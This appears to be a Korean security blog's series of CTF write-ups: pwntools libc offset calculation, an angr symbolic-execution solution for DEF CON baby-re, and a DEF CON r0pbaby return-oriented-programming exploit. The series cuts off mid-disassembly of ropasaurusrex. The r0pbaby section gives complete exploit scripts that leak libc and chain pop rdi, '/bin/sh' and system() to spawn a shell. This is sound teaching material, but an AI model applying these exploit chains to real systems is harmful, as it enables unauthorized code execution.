elf = ELF('./a.out')
#rop = ROP(elf)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

printf_system_offset = libc.symbols['printf'] - libc.symbols['system']

 

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

write_plt = elf.plt['write']
write_got = elf.got['write']

 

libc_start_main = elf.plt['__libc_start_main']

 

print '[*] printf@plt : %s' % str(hex(printf_plt))
print '[*] printf@got : %s' % str(hex(printf_got))
print '[*] write@plt : %s' % str(hex(write_plt))
print '[*] write@got : %s' % str(hex(write_got))
print '[*] printf - system : %s(%s)' % (str(hex(printf_system_offset)), str(int(printf_system_offset)))

print '[*] lib_strat_main : %s' % str(hex(libc_start_main))

 

[실행 결과]

 

[*] printf@plt : 0x8048500
[*] printf@got : 0x804c010
[*] write@plt : 0x8048590
[*] write@got : 0x804c034
[*] printf - system : 0xefd0(61392)
[*] lib_strat_main : 0x8048580

 


 

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[defcon 24 - 2016] Reversing - baby-re  (0) 2016.05.24
[defcon 23 - 2015] r0pbaby Writeup  (0) 2016.05.18
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

 

[[ 참고 : http://docs.angr.io/docs/examples.html ]]

 

[[ angr 설치 ]]

기존에 python이 설치 되어 있는 상태라면 설치 과정에서 컴파일이 안되는 상황이 발생합니다.

따라서, 깨끗한 환경에서 설치하기를 추천 합니다.

설치 방법은 다음과 같습니다.

 

1.  $ sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper

2.  .bashrc 2줄 추가

$ cat >> .bashrc

export WORKON_HOME="~/.envAngr"
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh

^D

3. $ source .bashrc

 

 

 

 

4. $ mkvirtualenv angr && pip install angr

(pip install angr 만 해도 무방 합니다.)

5. 확인

$ python

>>> import angr

 

 

그럼 이제, Symbolic Execution을 진행 해보도록 하겠습니다.

 

Symbolic Execution이란 무엇이냐?

Symbol = 상징, 부호

Execution = 실행

특정한 값이 아닌 x, y, z와 같은 임의의 문자로 변환하여 프로그램을 구동 시키는 방식을 의미

참조 : http://inc0gnito.com/Inc0gnito/Automation%20of%20Software%20Vulnerability%20Analysis.pdf

 

그럼 angr 환경이 구축 되어 있으니, 어떻게 활용해야 하는지 확인 해보도록 합시다.

angr의 경우 시작 지점과 끝 지점을 지정하면 angr 스스로 프로그램이 동작하여 끝 지점까지 실행을 시켜 줍니다.

따라서, baby-re를 분석하면 다음 주소에서 eax가 1이면 flag 값을 표시하게 되어 있습니다.

 

...............................

.text:00000000004028E0 E8 E1 DD FF FF                                call    near ptr CheckSolution
.text:00000000004028E5 84 C0                                         test    al, al

.text:00000000004028E7 74 58                                         jz      short loc_402941 <--- 분기할 경우 "Wrong" 문자열이 출력 / 따라서, 분기 하지 않도록 test al, al 값을 맞춰야 합니다.


.text:00000000004028E9 44 8B 65 D0                                   mov     r12d, [rbp+var_30]
.text:00000000004028ED 8B 5D CC                                      mov     ebx, [rbp+var_34]
.text:00000000004028F0 44 8B 5D C8                                   mov     r11d, [rbp+var_38]
.text:00000000004028F4 44 8B 55 C4                                   mov     r10d, [rbp+var_3C]
.text:00000000004028F8 44 8B 4D C0                                   mov     r9d, [rbp+var_40]
.text:00000000004028FC 44 8B 45 BC                                   mov     r8d, [rbp+var_44]
.text:0000000000402900 8B 7D B8                                      mov     edi, [rbp+var_48]
.text:0000000000402903 8B 75 B4                                      mov     esi, [rbp+var_4C]
.text:0000000000402906 44 8B 75 B0                                   mov     r14d, [rbp+var_50]
.text:000000000040290A 44 8B 6D AC                                   mov     r13d, [rbp+var_54]
.text:000000000040290E 8B 4D A8                                      mov     ecx, [rbp+var_58]
.text:0000000000402911 8B 55 A4                                      mov     edx, [rbp+var_5C]
.text:0000000000402914 8B 45 A0                                      mov     eax, [rbp+var_60]
.text:0000000000402917 41 54                                         push    r12
.text:0000000000402919 53                                            push    rbx
.text:000000000040291A 41 53                                         push    r11
.text:000000000040291C 41 52                                         push    r10
.text:000000000040291E 41 51                                         push    r9
.text:0000000000402920 41 50                                         push    r8
.text:0000000000402922 57                                            push    rdi
.text:0000000000402923 56                                            push    rsi
.text:0000000000402924 45 89 F1                                      mov     r9d, r14d
.text:0000000000402927 45 89 E8                                      mov     r8d, r13d
.text:000000000040292A 89 C6                                         mov     esi, eax
.text:000000000040292C BF 88 2A 40 00                                mov     edi, offset aTheFlagIsCCCCC ; "The flag is: %c%c%c%c%c%c%c%c%c%c%c%c%c"...
.text:0000000000402931 B8 00 00 00 00                                mov     eax, 0
.text:0000000000402936 E8 45 DC FF FF                                call    _printf
.text:000000000040293B 48 83 C4 40                                   add     rsp, 40h
.text:000000000040293F EB 0A                                         jmp     short loc_40294B
.text:0000000000402941                               ; ---------------------------------------------------------------------------
.text:0000000000402941
.text:0000000000402941                               loc_402941:                             ; CODE XREF: main+300j
.text:0000000000402941 BF B1 2A 40 00                                mov     edi, offset s   ; "Wrong"
.text:0000000000402946 E8 15 DC FF FF                                call    _puts
.text:000000000040294B
.text:000000000040294B                               loc_40294B:                             ; CODE XREF: main+358j
.text:000000000040294B B8 00 00 00 00                                mov     eax, 0
.text:0000000000402950 48 8B 5D D8                                   mov     rbx, [rbp+var_28]
.text:0000000000402954 64 48 33 1C 25 28 00 00 00                    xor     rbx, fs:28h
.text:000000000040295D 74 05                                         jz      short loc_402964
.text:000000000040295F E8 0C DC FF FF                                call    ___stack_chk_fail 

 

.text:00000000004028E0 E8 E1 DD FF FF                             call    near ptr CheckSolution
.text:00000000004028E5 84 C0                                         test    al, al

 

al 값은 어디에서 참조 할까요? 그건 "CheckSolution" 함수를 확인 해야 합니다.

 

....................................................
.text:00000000004006C6                               CheckSolution   proc far                ; CODE XREF: main+2F9p
.text:00000000004006C6
.text:00000000004006C6                               var_2B8         = qword ptr -2B8h
.text:00000000004006C6                               var_2B0         = dword ptr -2B0h
.text:00000000004006C6                               var_2AC         = dword ptr -2ACh
.text:00000000004006C6                               var_2A8         = dword ptr -2A8h
.text:00000000004006C6                               var_2A4         = dword ptr -2A4h
.text:00000000004006C6                               var_2A0         = dword ptr -2A0h
.text:00000000004006C6                               var_29C         = dword ptr -29Ch
.text:00000000004006C6                               var_298         = dword ptr -298h
.text:00000000004006C6                               var_294         = dword ptr -294h
.text:00000000004006C6                               var_290         = dword ptr -290h
.text:00000000004006C6                               var_28C         = dword ptr -28Ch
.text:00000000004006C6                               var_288         = dword ptr -288h
.text:00000000004006C6                               var_284         = dword ptr -284h
.text:00000000004006C6                               var_280         = dword ptr -280h
.text:00000000004006C6                               var_27C         = dword ptr -27Ch
.text:00000000004006C6                               var_278         = dword ptr -278h
.text:00000000004006C6                               var_274         = dword ptr -274h
.text:00000000004006C6                               var_270         = dword ptr -270h
.text:00000000004006C6                               var_26C         = dword ptr -26Ch
.text:00000000004006C6                               var_268         = dword ptr -268h
.text:00000000004006C6                               var_264         = dword ptr -264h
.text:00000000004006C6                               var_260         = dword ptr -260h
.text:00000000004006C6                               var_25C         = dword ptr -25Ch
.text:00000000004006C6                               var_258         = dword ptr -258h

.................................................... 

 

CheckSolution() 안에 들어가면 머리 아픈 변수가 엄청나게 선언 되어 있습니다.

따라서, 이걸 손과 눈으로 따라가기엔 문제가 있다는 것을 직감할 수 있습니다.

 

그럼 우리가 원하는 al은 어디에서 사용 되었을까요?

그 부분은 쉽게 확인 할 수 있습니다.

바로 return 되기 전에 al 값을 설정하고 이후에 CheckSolution()가 나온 직후 비교를 하기 때문입니다.

따라서, return 주변을 확인하면 eax 값을 찾을 수 있습니다.

 

text:00000000004025B3 8B 00                                         mov     eax, [rax]
.text:00000000004025B5 0F AF C2                                      imul    eax, edx
.text:00000000004025B8 01 C8                                         add     eax, ecx
.text:00000000004025BA 3D 45 49 1B 00                                cmp     eax, 1788229    <--- 연산 된 값이 "1788229"와 같다면 mov eax, 1을 틀리면 mov eax, 0을 지정하고 return 하게 되어 있습니다.
.text:00000000004025BF 74 0B                                         jz      short loc_4025CC
.text:00000000004025C1 EB 02                                         jmp     short loc_4025C5
.text:00000000004025C1                               ; ---------------------------------------------------------------------------
.text:00000000004025C3 3E FB                                         db 3Eh, 0FBh
.text:00000000004025C5                               ; ---------------------------------------------------------------------------
.text:00000000004025C5
.text:00000000004025C5                               loc_4025C5:                             ; CODE XREF: CheckSolution+1EFBj
.text:00000000004025C5 B8 00 00 00 00                                mov     eax, 0
.text:00000000004025CA EB 05                                         jmp     short loc_4025D1
.text:00000000004025CC                               ; ---------------------------------------------------------------------------
.text:00000000004025CC
.text:00000000004025CC                               loc_4025CC:                             ; CODE XREF: CheckSolution+1EF9j
.text:00000000004025CC B8 01 00 00 00                                mov     eax, 1
.text:00000000004025D1
.text:00000000004025D1                               loc_4025D1:                             ; CODE XREF: CheckSolution+FD6j
.text:00000000004025D1                                                                       ; CheckSolution+111Ej ...
.text:00000000004025D1 48 8B 75 F8                                   mov     rsi, [rbp+var_8]
.text:00000000004025D5 64 48 33 34 25 28 00 00 00                    xor     rsi, fs:28h
.text:00000000004025DE 74 05                                         jz      short locret_4025E5
.text:00000000004025E0 E8 8B DF FF FF                                call    ___stack_chk_fail
.text:00000000004025E5                               ; ---------------------------------------------------------------------------
.text:00000000004025E5
.text:00000000004025E5                               locret_4025E5:                          ; CODE XREF: CheckSolution+1F18j
.text:00000000004025E5 C9                                            leave
.text:00000000004025E6 C3                                            retn 

 

그럼 우리는 Symbolic Execution을 진행할 때 어디에 지정하면 좋을까요?

눈치 빠른 분이면 알 수 있겠죠.

 

바로

 

.text:00000000004025CC B8 01 00 00 00                                mov     eax, 1

 

이 곳입니다.

이 부분은 정확한 계산 값이 아니면 찾아 올 수 없는 부분이므로 해당 부분에  대한 주소를 지정하고 Sysmbolic을 할경우 원하는 값을 찾을 수 있습니다.

 

위의 분석된 결과를 기반으로 작성 된 exploit 입니다.

 

[[ exploit.py ]]

import angr 

proj = angr.Project('./baby-re', load_options={"auto_load_libs": False}) 
initial_state = proj.factory.entry_state() 
path_group = proj.factory.path_group(initial_state) 
path_group.explore(find=0x4025cc)   <--- 목적지를 알려줍니다.

found = path_group.found[0] 

print "[%s]\n" % found
print found.state.se.any_str(found.state.memory.load(found.state.regs.rbp, 200))

 

[[ 실행 결과 ]]

 

babyhack@ubuntu:~/tmp/defcon2016$ python exp_baby-re.py
WARNING | 2016-05-30 17:58:08,140 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:09,880 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:12,636 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:17,196 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:23,512 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:31,627 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
...............................................

WARNING | 2016-05-30 17:13:06,972 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:13:51,269 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:14:48,520 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
[<Path with 269 runs (at 0x4025cc)>]

 

��������(@Math is hard!``�@�������

 

실행 시킨 후 3-5분 정도 지나면 아래와 위와 같이 flag 문자열을 얻을 수 있습니다.

 

Flag is @Math is hard!

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[pwntools] 함수 offset 계산 방법  (0) 2016.07.21
[defcon 23 - 2015] r0pbaby Writeup  (0) 2016.05.18
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

 

[[ 문제 ]]

https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/r0pbaby 

 

 

./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.
Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$ ls 

 

내부 코드를 보면 다음과 같이 memcpy에서 overflow가 발생 합니다.

 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax@4
  unsigned __int64 v4; // r14@15
  int v5; // er13@17
  size_t v6; // r12@17
  int v7; // eax@18
  void *handle; // [rsp+8h] [rbp-448h]@1
  char nptr[1088]; // [rsp+10h] [rbp-440h]@2
  __int64 savedregs; // [rsp+450h] [rbp+0h]@22

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          Menu_sub_BF7();
          if ( !sub_B9A((__int64)nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          if ( sub_B9A((__int64)nptr, 64LL) )
          {
            dlsym(handle, nptr);
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n");
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n");
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      sub_B9A((__int64)nptr, 1024LL);
      v4 = (signed int)strtol(nptr, 0LL, 10);
      if ( v4 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v4 )
        {
          v5 = 0;
          v6 = 0LL;
          while ( 1 )
          {
            v7 = _IO_getc(stdin);
            if ( v7 == -1 )
              break;
            nptr[v6] = v7;
            v6 = ++v5;
            if ( v4 <= v5 )
              goto LABEL_22;
          }
          v6 = v5 + 1;
        }
        else
        {
          v6 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v6);    <---- memcpy를 입력한 숫자 만큼 입력 받음.
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;

 

해당 코드는 입력한 숫자 만큼 입력 값을 복사하고 입력한 숫자보다 많은 양이 들어올 경우 overflow가 발생하여

프로그램이 종료 됩니다.

 

공격하기 용이한 코드를 입력 해 볼까요?

 

babyhack@ubuntu:~/tmp$ (python -c 'print "3\n" + "20\n" + "a"*30 + "\n"';cat) | ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$

 

편리한 공격 코드가 만들어졌으니 이제부턴 주소를 계산하여 실제 exploit을 작성해 보도록 하겠습니다.

이젠 gdb를 활용하여 메모리에 할당된 정보를 확인 해 봅시다.

 

babyhack@ubuntu:~/tmp$ gdb -q r0pbaby
Reading symbols from r0pbaby...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF79B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857640
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff78fc810 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) info proc map
process 11848
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555556000     0x2000        0x0 /home/babyhack/tmp/r0pbaby
      0x555555755000     0x555555757000     0x2000     0x1000 /home/babyhack/tmp/r0pbaby
      0x555555757000     0x555555778000    0x21000        0x0 [heap]
      0x7ffff7811000     0x7ffff79cc000   0x1bb000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff79cc000     0x7ffff7bcb000   0x1ff000   0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcb000     0x7ffff7bcf000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcf000     0x7ffff7bd1000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bd1000     0x7ffff7bd6000     0x5000        0x0
      0x7ffff7bd6000     0x7ffff7bd9000     0x3000        0x0 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7bd9000     0x7ffff7dd8000   0x1ff000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd8000     0x7ffff7dd9000     0x1000     0x2000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd9000     0x7ffff7dda000     0x1000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dda000     0x7ffff7dfd000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7fdf000     0x7ffff7fe2000     0x3000        0x0
      0x7ffff7ff5000     0x7ffff7ff8000     0x3000        0x0
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
---Type <return> to continue, or q <return> to quit---

 

gdb를 통하여, bof를 발생 시키고 메모리를 확인 하도록 합니다.

 

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAAABBBBBCCCCCDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7834242 in __strtok_r_1c (__nextp=<optimized out>, __sep=<optimized out>,
    __s=0x7ffff78fc870 <__write_nocancel+7> "H=\001\360\377\377s1\303H\203\354\b\350\356\310\001")
    at ../string/bits/string2.h:1161
1161 ../string/bits/string2.h: No such file or directory.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAABBBBCC

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
__gconv_open (toset=<error reading variable: Cannot access memory at address 0x42424242414140d1>,
    toset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    fromset=<error reading variable: Cannot access memory at address 0x42424242414140d9>,
    fromset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    handle=<error reading variable: Cannot access memory at address 0x42424242414140a9>,
    handle@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    flags=<error reading variable: Cannot access memory at address 0x42424242414140c9>,
    flags@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>) at gconv_open.c:93
93 gconv_open.c: No such file or directory.
(gdb)

 

입력 받을 숫자를 입력하고 입력한 숫자만큼 문자를 입력할 경우 주소를 컨트롤 가능합니다.

따라서, 쉘코드가 충분히 들어갈 수 있는 사이즈로 입력 크기를 잡고 메모리 확인을 해야 합니다.

 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 20
AAAABBBBCCCCDDDDEEEE

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554eb3 in ?? ()
(gdb) x/i $rip
=> 0x555555554eb3: retq  
(gdb) x/gw $rsp
0x7fffffffdf28: 0x43434343
(gdb)  

 

ret 명령어는 esp의 첫번째 주소를 가지고 옵니다.

하지만, x64의 경우는 ret 명령어는 rdi의 주소를 가지고 오므로 pop rdi; ret 주소가 필요하게 됩니다.

 

[[ x64 ret 주소 참조 순서 ]] 

rdi -> rsi -> rdx -> r10 -> r9 -> r8 > .......

 

따라서, Gadget을 찾아야 합니다.

(※ rp++를 활용하면 쉽게 얻을 수 있습니다.)

 

babyhack@ubuntu:~/tmp$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 4 | grep "pop rdi" | more
.......................
0x0002c46f: pop rdi ; ret  ;  (1 found)
0x0002c581: pop rdi ; ret  ;  (1 found)
0x0002cdf5: pop rdi ; ret  ;  (1 found)
0x0002d087: pop rdi ; ret  ;  (1 found)
0x0002dd87: pop rdi ; ret  ;  (1 found)
0x0002f72c: pop rdi ; ret  ;  (1 found
................ 

 

그럼 이젠 payload를 작성해 보도록 하겠습니다.

 

[buff] +  gadget [pop rdi; ret] + [/bin/sh string addr] + [system addr]

 

[[ /bin/sh 문자열 offset 확인 ]]
babyhack@ubuntu:~/tmp$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 17ccdb /bin/sh
babyhack@ubuntu:~/tmp$

 

[[ system 함수 offset 확인 ]]

babyhack@ubuntu:~/tmp$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
   223: 000000000012b2c0    70 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.2.5
   577: 0000000000046640    45 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1337: 0000000000046640    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
babyhack@ubuntu:~/tmp$

 

[[ 라이브러리 주소 확인 ]]

babyhack@ubuntu:~/tmp$ ldd ./r0pbaby
 linux-vdso.so.1 =>  (0x00007ffca2aeb000)
 libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2b712e3000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2b70f1e000)
 /lib64/ld-linux-x86-64.so.2 (0x00007f2b716ea000)
babyhack@ubuntu:~/tmp$

 

그럼 exploit을 짜봅시다.

 

[[ exploit - 1 ]]

 

from pwn import *
from struct import *

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")
print s.recvuntil(": ") # Menu

 

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv
system_addr = eval(system_recv.split(':')[1])

 

# payload
payload = "A" * 8
payload += endian(libc_addr + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_addr + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")
s.recv(1024)
s.interactive() 

 

 

[[ 결과 ]]

babyhack@ubuntu:~/tmp$ python exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007FC2C2A989B0
 
[*] libc split : 0x7FC2C2A989B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007FC2C20F0640

[*] Payload : AAAAAAAA1O\xac��\x7f\x00\x00\x8bV���\x00\x00@\x06\x0f��\x7f\x00\x00
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

 

쉘은 떨어졌지만 명령어가 입력되지 않습니다.

따라서, 주소를 다시 얻어서 사용하는 방식으로 코드를 수정 했습니다.

 

[[ exp 2.py ]]

 

from pwn import *
from struct import *

 

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")

print s.recvuntil(": ") # Menu

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv

system_addr = eval(system_recv.split(':')[1])

print "[*] System Addr split : 0x%08X" % system_addr
libc_base = system_addr - system_offset
print "[*] calc - libc_base : 0x%08X" % libc_base

 

# payload
payload = "A" * 8
payload += endian(libc_base + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_base + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

 

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")

s.interactive() 

 

[[ 결과 ]] 

 

babyhack@ubuntu:~/tmp$ python 2exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007F433F12D9B0
 
[*] libc split : 0x7F433F12D9B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007F433E785640

[*] System Addr split : 0x7F433E785640
[*] calc - libc_base : 0x7F433E73F000
[*] Payload : AAAAAAAA\x81\xb5v>C\x7f\x00\x00ۼ\x8b>C\x7f\x00\x00@Vx>C\x7f\x00\x00
[*] Switching to interactive mode
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Exiting.
$ id
uid=1000(babyhack) gid=1000(babyhack) groups=1000(babyhack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$ 

 

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[pwntools] 함수 offset 계산 방법  (0) 2016.07.21
[defcon 24 - 2016] Reversing - baby-re  (0) 2016.05.24
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

 

https://github.com/isislab/CTF-Challenges/tree/master/pctf2013/pwnable/ropasaurusrex 

 

1. disassemble

[asm]

.text:0804841D                               ; int __cdecl main(int, char **, char **)
.text:0804841D                               main            proc near               ; DATA XREF: start+17o
.text:0804841D 55                                            push    ebp
.text:0804841E 89 E5                                         mov     ebp, esp
.text:08048420 83 E4 F0                                      and     esp, 0FFFFFFF0h
.text:08048423 83 EC 10                                      sub     esp, 10h
.text:08048426 E8 C9 FF FF FF                                call    sub_80483F4
.text:0804842B C7 44 24 08 04 00 00 00                       mov     dword ptr [esp+8], 4 ; n
.text:08048433 C7 44 24 04 10 85 04 08                       mov     dword ptr [esp+4], offset aWin ; "WIN\n"
.text:0804843B C7 04 24 01 00 00 00                          mov     dword ptr [esp], 1 ; fd
.text:08048442 E8 C5 FE FF FF                                call    _write
.text:08048447 C9                                            leave
.text:08048448 C3                                            retn
.text:08048448                               main            endp

 

[psuedo]

int __cdecl main()
{
  sub_80483F4();
  return write(1, "WIN\n", 4u);

 

2. sub_80483F4()

[asm]

.text:080483F4                               sub_80483F4     proc near               ; CODE XREF: main+9p
.text:080483F4
.text:080483F4                               buf             = byte ptr -88h
.text:080483F4
.text:080483F4 55                                            push    ebp
.text:080483F5 89 E5                                         mov     ebp, esp
.text:080483F7 81 EC 98 00 00 00                             sub     esp, 98h
